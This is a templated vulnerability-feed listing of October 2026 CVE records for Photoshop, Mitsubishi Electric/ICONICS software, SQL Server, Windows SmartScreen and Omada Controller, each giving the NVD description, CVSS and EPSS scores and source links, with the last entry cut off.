Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100112).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100112&date=2026-10-25).
Sources:
NVD CVE-2026-100112: https://nvd.nist.gov/vuln/detail/CVE-2026-100112
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100112&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-100111
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100111).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100111&date=2026-10-25).
Sources:
NVD CVE-2026-100111: https://nvd.nist.gov/vuln/detail/CVE-2026-100111
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100111&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-96522
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96522).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96522&date=2026-10-25).
Sources:
NVD CVE-2026-96522: https://nvd.nist.gov/vuln/detail/CVE-2026-96522
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96522&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-96523
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96523).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96523&date=2026-10-25).
Sources:
NVD CVE-2026-96523: https://nvd.nist.gov/vuln/detail/CVE-2026-96523
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96523&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions...
https://kevwire.com/record/CVE-2026-16438
Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions... (Oct 15, 2026).
Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, MC Works64 all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, and MobileHMI 10.97.3 and prior allows an attacker who can log in using the same administrator account for the affected products to launch and operate DCOM objects locally or remotely. During installation, the installers of the affected products unnecessarily grant default DCOM permissions to the administrator account of the affected products. Users with that administrator accounts can locally or remotely launch and operate DCOM objects that should require UAC elevation. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16438).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16438&date=2026-10-25).
Sources:
NVD CVE-2026-16438: https://nvd.nist.gov/vuln/detail/CVE-2026-16438
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16438&date=2026-10-25
Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, MC Works64 all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, and MobileHMI 10.97.3 and prior allows an attacker who can log in using the same administrator account for the affected products to launch and operate DCOM objects locally or remotely. During installation, the installers of the affected products unnecessarily grant default DCOM permissions to the administrator account of the affected products. Users with that administrator accounts can locally or remotely launch and operate DCOM objects that should require UAC elevation. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite...
https://kevwire.com/record/CVE-2026-16437
Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite... (Oct 15, 2026).
Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows an authenticated local user with administrative privileges to unlock the system by tampering with the management file that stores the challenge response. Administrators are able to read and write the management file. But the management file is protected by Windows. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16437).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16437&date=2026-10-25).
Sources:
NVD CVE-2026-16437: https://nvd.nist.gov/vuln/detail/CVE-2026-16437
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16437&date=2026-10-25
Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows an authenticated local user with administrative privileges to unlock the system by tampering with the management file that stores the challenge response. Administrators are able to read and write the management file. But the management file is protected by Windows. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite...
https://kevwire.com/record/CVE-2026-16436
Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite... (Oct 15, 2026).
Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows a remote attacker to unlock the system by obtaining the challenge response by some means. The challenge response used to unlock the system is common to all users and fixed. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16436).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16436&date=2026-10-25).
Sources:
NVD CVE-2026-16436: https://nvd.nist.gov/vuln/detail/CVE-2026-16436
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16436&date=2026-10-25
Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows a remote attacker to unlock the system by obtaining the challenge response by some means. The challenge response used to unlock the system is common to all users and fixed. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-96956
Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96956).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96956&date=2026-10-25).
Sources:
NVD CVE-2026-96956: https://nvd.nist.gov/vuln/detail/CVE-2026-96956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96956&date=2026-10-25
Stack-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-94512
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94512).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94512&date=2026-10-25).
Sources:
NVD CVE-2026-94512: https://nvd.nist.gov/vuln/detail/CVE-2026-94512
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94512&date=2026-10-25
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88088
Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88088).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88088&date=2026-10-25).
Sources:
NVD CVE-2026-88088: https://nvd.nist.gov/vuln/detail/CVE-2026-88088
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88088&date=2026-10-25
Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88083
Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88083).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88083&date=2026-10-25).
Sources:
NVD CVE-2026-88083: https://nvd.nist.gov/vuln/detail/CVE-2026-88083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88083&date=2026-10-25
Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88082
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88082).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88082&date=2026-10-25).
Sources:
NVD CVE-2026-88082: https://nvd.nist.gov/vuln/detail/CVE-2026-88082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88082&date=2026-10-25
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85919
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85919).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85919&date=2026-10-25).
Sources:
NVD CVE-2026-85919: https://nvd.nist.gov/vuln/detail/CVE-2026-85919
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85919&date=2026-10-25
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85886
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.
CVSS 8.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85886).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85886&date=2026-10-25).
Sources:
NVD CVE-2026-85886: https://nvd.nist.gov/vuln/detail/CVE-2026-85886
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85886&date=2026-10-25
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SQL Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85876
Use after free in SQL Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in SQL Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85876).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85876&date=2026-10-25).
Sources:
NVD CVE-2026-85876: https://nvd.nist.gov/vuln/detail/CVE-2026-85876
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85876&date=2026-10-25
Use after free in SQL Server allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-68883
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.
CVSS 8.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-68883).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-68883&date=2026-10-25).
Sources:
NVD CVE-2026-68883: https://nvd.nist.gov/vuln/detail/CVE-2026-68883
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-68883&date=2026-10-25
Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-67625
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.
CVSS 8.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-67625).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-67625&date=2026-10-25).
Sources:
NVD CVE-2026-67625: https://nvd.nist.gov/vuln/detail/CVE-2026-67625
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-67625&date=2026-10-25
Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-65674
Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-65674).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-65674&date=2026-10-25).
Sources:
NVD CVE-2026-65674: https://nvd.nist.gov/vuln/detail/CVE-2026-65674
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-65674&date=2026-10-25
Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network.
https://kevwire.com/record/CVE-2026-108463
Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network. (Oct 13, 2026).
Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108463).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108463&date=2026-10-25).
Sources:
NVD CVE-2026-108463: https://nvd.nist.gov/vuln/detail/CVE-2026-108463
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108463&date=2026-10-25
Improper resolution of path equivalence in Windows SmartScreen allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform...
https://kevwire.com/record/CVE-2026-107795
Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform... (Oct 14, 2026).
